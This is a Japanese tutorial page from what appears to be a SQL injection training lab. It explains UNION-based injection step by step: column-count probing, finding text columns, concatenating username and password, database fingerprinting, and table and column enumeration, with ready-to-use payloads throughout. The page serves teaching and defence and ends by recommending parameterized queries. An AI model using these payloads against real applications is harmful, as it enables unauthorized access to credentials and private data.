utsuroi sqli labs 知識ベース 03 / 05 — UNION と偵察
UNION Attack & Reconnaissance · Knowledge Base
03

UNION 攻撃と DB 偵察

Hijacking the result set, then mapping the database

文字列リテラルを閉じるだけでは、せいぜい全行を返させるくらい。本格的な情報漏洩にはUNIONが必要です。UNION で「自分のクエリ結果」を「正規のクエリ結果」に紛れ込ませる発想と、攻撃前に DB の構造を地図化する偵察手順を扱います。

1. UNION の基本 #union-basics

2つの SELECT 結果を縦に積む。

UNION は SQL の機能で、複数の SELECT の結果セットを縦方向に連結します。

SELECT name, price FROM products
UNION
SELECT name, price FROM archived_products

結果は両方の products テーブルから取得した行が縦に並びます。攻撃者の関心は「左側のクエリは正規、右側のクエリは攻撃者が書いた別テーブルへの SELECT」という使い方。

UNION が成立するには2つの条件があります:

この2つの条件をクリアするのが、UNION 攻撃の前段階です。

UNIONUNION ALL

UNION は重複行を除去します。UNION ALL は重複も含めて全行返します。攻撃で狙ったデータが消えないようにする目的で UNION ALL が好まれることもあります。

2. カラム数を特定する #column-count

2つの方法がある。

UNION を成立させるには元のクエリのカラム数を知る必要があります。攻撃者は2つの方法を使います。

方法A: ORDER BY でカラム数を探る

ORDER BY 数字 はカラム位置で並べ替える指定。指定した数字がカラム数を超えるとエラーになります:

-- 元のクエリが3カラム返す場合
SELECT name, description, price FROM products WHERE ... ORDER BY 1  → OK
                                                       ORDER BY 3  → OK
                                                       ORDER BY 4  → エラー

数字を1から順に増やしていき、エラーが出る境界の1つ手前がカラム数です。

方法B: UNION SELECT NULL でカラム数を探る

NULL は型を持たない特殊な値で、どのカラムにも入れられます。型不一致エラーを避けつつカラム数を探れます:

UNION SELECT NULL           → カラム数不一致でエラー
UNION SELECT NULL,NULL      → エラー
UNION SELECT NULL,NULL,NULL → OK、カラム数は 3

エラーが出なくなった瞬間のカラム数が答え。

3. 文字列カラムを特定する #text-column

どこに文字列を流し込めるか。

PostgreSQL や MS SQL Server などの厳格型 DB では、UNION の対応するカラム同士が互換型でないとエラーになります。盗み出したいパスワードや銀行口座番号は文字列なので、文字列を流し込めるカラム位置を見つける必要があります。

NULL を1つずつ文字列リテラルに置き換えていき、エラーが出ない位置が文字列カラム:

UNION SELECT 'a',NULL,NULL  → 1番目が int なら型エラー
UNION SELECT NULL,'a',NULL  → 2番目が text なら OK
UNION SELECT NULL,NULL,'a'  → 3番目が int なら型エラー

エラーが出ないカラム位置に、後で本当に取り出したい値(パスワードなど)を埋め込みます。

MySQL は型がゆるい

MySQL は暗黙の型変換が積極的なため、整数カラムに文字列を入れてもエラーにならないことがあります。型チェックの厳しさは DB によって違う、と覚えておきましょう。

4. 複数値を1カラムに集約する #concat-column

使えるカラムが1つしかなくても諦めない。

Lab 06 のように UNION で使える文字列カラムが1つしかない場合、usernamepassword を別々に取得すると2回のリクエストが必要。文字列連結子を使って1回で取得できます。

各 DB の文字列連結子:

-- Oracle / PostgreSQL
UNION SELECT username || ':' || password FROM users

-- MySQL
UNION SELECT CONCAT(username, ':', password) FROM users

-- MS SQL Server
UNION SELECT username + ':' + password FROM users

結果として store_admin:M9$kP2wQ7vX8j のような値が1カラムに入って返ります。区切り文字を入れることで、後で目視やプログラムで分離しやすくなります。

5. DB 種別の特定(フィンガープリント) #fingerprint

最初に知るべきは「相手は誰か」。

DB ごとに使える関数や構文が違うので、攻撃者は最初に DB 種別を特定します。これを「DB フィンガープリンティング」と呼びます。

Oracle

v$version ビューにバージョン情報が入っています。Oracle は SELECT 句に必ず FROM が必要なので、テーブルがない場合は FROM dual を付けます:

UNION SELECT banner, NULL FROM v$version--

MySQL / MS SQL Server

@@version というシステム変数で取れます。FROM 句不要:

UNION SELECT @@version, NULL--

PostgreSQL

version() 関数:

UNION SELECT version(), NULL--

返ってきた文字列を見れば、Oracle なのか PostgreSQL なのか MySQL なのか即座に分かり、次の攻撃手順を選べます。

6. テーブル列挙とカラム列挙 #enumerate

DB 内の地図を描く3ステップ。

DB 種別が分かったら次は「どんなテーブルがあるか」「各テーブルにどんなカラムがあるか」を調べます。

Oracle

-- ステップ1: テーブル名を列挙
UNION SELECT table_name, NULL FROM all_tables--

-- ステップ2: 特定テーブルのカラムを列挙
UNION SELECT column_name, NULL FROM all_tab_columns
  WHERE table_name = 'MEMBERS_XY7W_SECRET'--

-- ステップ3: データを取得
UNION SELECT member_id, password FROM members_xy7w_secret
  WHERE role = '店長'--

PostgreSQL / MySQL / MS SQL Server

これら3つは information_schema という標準スキーマを共通で持ちます:

UNION SELECT table_name, NULL FROM information_schema.tables--
UNION SELECT column_name, NULL FROM information_schema.columns
  WHERE table_name = 'users_kj9z_priv'--
なぜテーブル名がランダム文字列?

実戦の攻撃者は usersmembers のような典型的な名前を最初に試します。Lab 09 の members_xy7w_secret や Lab 10 の users_kj9z_priv のような難読化された名前は「セキュリティ・バイ・オブスキュリティ(難読化による安全性)」の例ですが、information_schema を見れば一発で名前が分かるので難読化は気休めにすぎないことを示しています。実際の対策はあくまでプレースホルダ等の根本対策。